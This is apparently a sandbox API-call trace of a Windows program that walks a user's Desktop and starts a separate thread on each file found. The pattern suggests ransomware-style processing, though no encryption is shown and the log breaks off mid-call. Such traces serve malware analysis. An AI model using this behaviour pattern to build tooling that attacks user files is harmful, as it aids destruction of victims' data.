wcscmp (_String1="DhqnA4nJvwKX5.bmp", _String2="..") returned 1 [0067.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x34821b8 [0067.233] wcscpy (in: _Dest=0x34821b8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.233] wcscat (in: _Dest=0x34821b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.233] wcscat (in: _Dest=0x34821b8, _Source="DhqnA4nJvwKX5.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" [0067.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34821b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0067.234] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2672ace0, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x34096220, ftLastAccessTime.dwHighDateTime=0x1d4cb1c, ftLastWriteTime.dwLowDateTime=0x34096220, ftLastWriteTime.dwHighDateTime=0x1d4cb1c, nFileSizeHigh=0x0, nFileSizeLow=0x14e43, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTJ2uqAp.gif", cAlternateFileName="")) returned 1 [0067.234] wcscmp (_String1="DTJ2uqAp.gif", _String2=".") returned 1 [0067.234] wcscmp (_String1="DTJ2uqAp.gif", _String2="..") returned 1 [0067.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x34308b8 [0067.234] wcscpy (in: _Dest=0x34308b8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.234] wcscat (in: _Dest=0x34308b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.234] wcscat (in: _Dest=0x34308b8, _Source="DTJ2uqAp.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" [0067.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34308b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0067.235] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fea32f0, ftCreationTime.dwHighDateTime=0x1d4d5c3, ftLastAccessTime.dwLowDateTime=0x9cd11860, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0x9cd11860, ftLastWriteTime.dwHighDateTime=0x1d4c5d2, nFileSizeHigh=0x0, nFileSizeLow=0x16386, dwReserved0=0x0, dwReserved1=0x0, cFileName="fBoKzxbN1Omw23QX.jpg", cAlternateFileName="FBOKZX~1.JPG")) returned 1 [0067.235] wcscmp (_String1="fBoKzxbN1Omw23QX.jpg", _String2=".") returned 1 [0067.235] wcscmp (_String1="fBoKzxbN1Omw23QX.jpg", _String2="..") returned 1 [0067.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x34274e0 [0067.235] wcscpy (in: _Dest=0x34274e0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.235] wcscat (in: _Dest=0x34274e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.235] wcscat (in: _Dest=0x34274e0, _Source="fBoKzxbN1Omw23QX.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" [0067.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34274e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0067.235] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dba340, ftCreationTime.dwHighDateTime=0x1d4cedc, ftLastAccessTime.dwLowDateTime=0x3c76b060, ftLastAccessTime.dwHighDateTime=0x1d4cf7d, ftLastWriteTime.dwLowDateTime=0x3c76b060, ftLastWriteTime.dwHighDateTime=0x1d4cf7d, nFileSizeHigh=0x0, nFileSizeLow=0x9591, dwReserved0=0x0, dwReserved1=0x0, cFileName="fTZcunuZHWbZglS iVkr.png", cAlternateFileName="FTZCUN~1.PNG")) returned 1 [0067.235] wcscmp (_String1="fTZcunuZHWbZglS iVkr.png", _String2=".") returned 1 [0067.236] wcscmp (_String1="fTZcunuZHWbZglS iVkr.png", _String2="..") returned 1 [0067.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e0a0 [0067.236] wcscpy (in: _Dest=0x347e0a0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.236] wcscat (in: _Dest=0x347e0a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.236] wcscat (in: _Dest=0x347e0a0, _Source="fTZcunuZHWbZglS iVkr.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" [0067.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0067.236] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6ddb0, ftCreationTime.dwHighDateTime=0x1d4cb8d, ftLastAccessTime.dwLowDateTime=0x17849820, ftLastAccessTime.dwHighDateTime=0x1d4d37f, ftLastWriteTime.dwLowDateTime=0x17849820, ftLastWriteTime.dwHighDateTime=0x1d4d37f, nFileSizeHigh=0x0, nFileSizeLow=0x7c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="FYxfQApyAF.png", cAlternateFileName="FYXFQA~1.PNG")) returned 1 [0067.236] wcscmp (_String1="FYxfQApyAF.png", _String2=".") returned 1 [0067.236] wcscmp (_String1="FYxfQApyAF.png", _String2="..") returned 1 [0067.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3431468 [0067.236] wcscpy (in: _Dest=0x3431468, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.236] wcscat (in: _Dest=0x3431468, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.236] wcscat (in: _Dest=0x3431468, _Source="FYxfQApyAF.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" [0067.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0067.237] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821aacc0, ftCreationTime.dwHighDateTime=0x1d4c695, ftLastAccessTime.dwLowDateTime=0x64383870, ftLastAccessTime.dwHighDateTime=0x1d4cc90, ftLastWriteTime.dwLowDateTime=0x64383870, ftLastWriteTime.dwHighDateTime=0x1d4cc90, nFileSizeHigh=0x0, nFileSizeLow=0xbaf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="gr_f.avi", cAlternateFileName="")) returned 1 [0067.237] wcscmp (_String1="gr_f.avi", _String2=".") returned 1 [0067.237] wcscmp (_String1="gr_f.avi", _String2="..") returned 1 [0067.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x3481618 [0067.237] wcscpy (in: _Dest=0x3481618, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.237] wcscat (in: _Dest=0x3481618, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.237] wcscat (in: _Dest=0x3481618, _Source="gr_f.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" [0067.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0067.238] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf9f6e0, ftCreationTime.dwHighDateTime=0x1d4d2c3, ftLastAccessTime.dwLowDateTime=0x2e5cbcc0, ftLastAccessTime.dwHighDateTime=0x1d4d4ac, ftLastWriteTime.dwLowDateTime=0x2e5cbcc0, ftLastWriteTime.dwHighDateTime=0x1d4d4ac, nFileSizeHigh=0x0, nFileSizeLow=0x7a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hZajMydJsA6dgABz5sdr.jpg", cAlternateFileName="HZAJMY~1.JPG")) returned 1 [0067.238] wcscmp (_String1="hZajMydJsA6dgABz5sdr.jpg", _String2=".") returned 1 [0067.238] wcscmp (_String1="hZajMydJsA6dgABz5sdr.jpg", _String2="..") returned 1 [0067.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e5e0 [0067.238] wcscpy (in: _Dest=0x347e5e0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.238] wcscat (in: _Dest=0x347e5e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.238] wcscat (in: _Dest=0x347e5e0, _Source="hZajMydJsA6dgABz5sdr.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" [0067.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e5e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0067.239] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66ee0, ftCreationTime.dwHighDateTime=0x1d4d158, ftLastAccessTime.dwLowDateTime=0x10497c10, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x10497c10, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x118b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ilUU-uB.mp4", cAlternateFileName="")) returned 1 [0067.239] wcscmp (_String1="ilUU-uB.mp4", _String2=".") returned 1 [0067.239] wcscmp (_String1="ilUU-uB.mp4", _String2="..") returned 1 [0067.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34817a8 [0067.239] wcscpy (in: _Dest=0x34817a8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.239] wcscat (in: _Dest=0x34817a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.239] wcscat (in: _Dest=0x34817a8, _Source="ilUU-uB.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" [0067.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34817a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0067.240] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d53400, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x4a9da0a0, ftLastAccessTime.dwHighDateTime=0x1d4d283, ftLastWriteTime.dwLowDateTime=0x4a9da0a0, ftLastWriteTime.dwHighDateTime=0x1d4d283, nFileSizeHigh=0x0, nFileSizeLow=0x1159a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IuHd0AD9VYjQwf.mp3", cAlternateFileName="IUHD0A~1.MP3")) returned 1 [0067.240] wcscmp (_String1="IuHd0AD9VYjQwf.mp3", _String2=".") returned 1 [0067.240] wcscmp (_String1="IuHd0AD9VYjQwf.mp3", _String2="..") returned 1 [0067.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3481bb8 [0067.240] wcscpy (in: _Dest=0x3481bb8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.240] wcscat (in: _Dest=0x3481bb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.240] wcscat (in: _Dest=0x3481bb8, _Source="IuHd0AD9VYjQwf.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3" [0067.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0067.241] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e46270, ftCreationTime.dwHighDateTime=0x1d4d3f9, ftLastAccessTime.dwLowDateTime=0x67d7fc70, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0x67d7fc70, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0x12686, dwReserved0=0x0, dwReserved1=0x0, cFileName="nJRCtEnbt-cvxGu.rtf", cAlternateFileName="NJRCTE~1.RTF")) returned 1 [0067.241] wcscmp (_String1="nJRCtEnbt-cvxGu.rtf", _String2=".") returned 1 [0067.241] wcscmp (_String1="nJRCtEnbt-cvxGu.rtf", _String2="..") returned 1 [0067.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481af8 [0067.241] wcscpy (in: _Dest=0x3481af8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.241] wcscat (in: _Dest=0x3481af8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.241] wcscat (in: _Dest=0x3481af8, _Source="nJRCtEnbt-cvxGu.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" [0067.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0067.242] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808b7b80, ftCreationTime.dwHighDateTime=0x1d4d26d, ftLastAccessTime.dwLowDateTime=0x4e07dcc0, ftLastAccessTime.dwHighDateTime=0x1d4c9c7, ftLastWriteTime.dwLowDateTime=0x4e07dcc0, ftLastWriteTime.dwHighDateTime=0x1d4c9c7, nFileSizeHigh=0x0, nFileSizeLow=0x7697, dwReserved0=0x0, dwReserved1=0x0, cFileName="Of-AzbElV27O.mp4", cAlternateFileName="OF-AZB~1.MP4")) returned 1 [0067.242] wcscmp (_String1="Of-AzbElV27O.mp4", _String2=".") returned 1 [0067.242] wcscmp (_String1="Of-AzbElV27O.mp4", _String2="..") returned 1 [0067.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481c18 [0067.242] wcscpy (in: _Dest=0x3481c18, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.242] wcscat (in: _Dest=0x3481c18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.242] wcscat (in: _Dest=0x3481c18, _Source="Of-AzbElV27O.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" [0067.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0067.244] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf86d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xbd00ceb0, ftLastAccessTime.dwHighDateTime=0x1d4cc25, ftLastWriteTime.dwLowDateTime=0xbd00ceb0, ftLastWriteTime.dwHighDateTime=0x1d4cc25, nFileSizeHigh=0x0, nFileSizeLow=0x3499, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMigOPyv.wav", cAlternateFileName="")) returned 1 [0067.244] wcscmp (_String1="OMigOPyv.wav", _String2=".") returned 1 [0067.244] wcscmp (_String1="OMigOPyv.wav", _String2="..") returned 1 [0067.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3431518 [0067.244] wcscpy (in: _Dest=0x3431518, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.244] wcscat (in: _Dest=0x3431518, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.244] wcscat (in: _Dest=0x3431518, _Source="OMigOPyv.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" [0067.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0067.245] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc5726d0, ftCreationTime.dwHighDateTime=0x1d4d0c9, ftLastAccessTime.dwLowDateTime=0xf0bbeee0, ftLastAccessTime.dwHighDateTime=0x1d4d0a0, ftLastWriteTime.dwLowDateTime=0xf0bbeee0, ftLastWriteTime.dwHighDateTime=0x1d4d0a0, nFileSizeHigh=0x0, nFileSizeLow=0x10c5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="oPAcO9PRdh8ceIpSI.odp", cAlternateFileName="OPACO9~1.ODP")) returned 1 [0067.245] wcscmp (_String1="oPAcO9PRdh8ceIpSI.odp", _String2=".") returned 1 [0067.245] wcscmp (_String1="oPAcO9PRdh8ceIpSI.odp", _String2="..") returned 1 [0067.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34273a8 [0067.245] wcscpy (in: _Dest=0x34273a8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.245] wcscat (in: _Dest=0x34273a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.245] wcscat (in: _Dest=0x34273a8, _Source="oPAcO9PRdh8ceIpSI.odp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" [0067.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34273a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0067.246] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x37935350, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0x37935350, ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORoHpPjcmz", cAlternateFileName="OROHPP~1")) returned 1 [0067.246] wcscmp (_String1="ORoHpPjcmz", _String2=".") returned 1 [0067.246] wcscmp (_String1="ORoHpPjcmz", _String2="..") returned 1 [0067.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3481848 [0067.246] wcscpy (in: _Dest=0x3481848, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.246] wcscat (in: _Dest=0x3481848, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.246] wcscat (in: _Dest=0x3481848, _Source="ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0067.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0067.246] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18528d0, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0x36de8f60, ftLastAccessTime.dwHighDateTime=0x1d4c730, ftLastWriteTime.dwLowDateTime=0x36de8f60, ftLastWriteTime.dwHighDateTime=0x1d4c730, nFileSizeHigh=0x0, nFileSizeLow=0x11aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="QHl6s.bmp", cAlternateFileName="")) returned 1 [0067.246] wcscmp (_String1="QHl6s.bmp", _String2=".") returned 1 [0067.247] wcscmp (_String1="QHl6s.bmp", _String2="..") returned 1 [0067.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x34814d8 [0067.247] wcscpy (in: _Dest=0x34814d8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.247] wcscat (in: _Dest=0x34814d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.247] wcscat (in: _Dest=0x34814d8, _Source="QHl6s.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" [0067.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34814d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0067.247] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22410d50, ftCreationTime.dwHighDateTime=0x1d4cdaa, ftLastAccessTime.dwLowDateTime=0x91e59ab0, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x91e59ab0, ftLastWriteTime.dwHighDateTime=0x1d4cf1a, nFileSizeHigh=0x0, nFileSizeLow=0x11604, dwReserved0=0x0, dwReserved1=0x0, cFileName="qiHgqojLF3QTQWKbma.wav", cAlternateFileName="QIHGQO~1.WAV")) returned 1 [0067.247] wcscmp (_String1="qiHgqojLF3QTQWKbma.wav", _String2=".") returned 1 [0067.247] wcscmp (_String1="qiHgqojLF3QTQWKbma.wav", _String2="..") returned 1 [0067.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x34275b0 [0067.248] wcscpy (in: _Dest=0x34275b0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.248] wcscat (in: _Dest=0x34275b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.248] wcscat (in: _Dest=0x34275b0, _Source="qiHgqojLF3QTQWKbma.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav") returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" [0067.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34275b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0067.248] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c47e400, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xdfe217d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e6, ftLastWriteTime.dwLowDateTime=0xdfe217d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e6, nFileSizeHigh=0x0, nFileSizeLow=0x4def, dwReserved0=0x0, dwReserved1=0x0, cFileName="qprYe_u yi.bmp", cAlternateFileName="QPRYE_~1.BMP")) returned 1 [0067.248] wcscmp (_String1="qprYe_u yi.bmp", _String2=".") returned 1 [0067.248] wcscmp (_String1="qprYe_u yi.bmp", _String2="..") returned 1 [0067.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3431728 [0067.248] wcscpy (in: _Dest=0x3431728, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.248] wcscat (in: _Dest=0x3431728, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.248] wcscat (in: _Dest=0x3431728, _Source="qprYe_u yi.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" [0067.249] CreateThread (in: lpThreadAttributes=0x0, 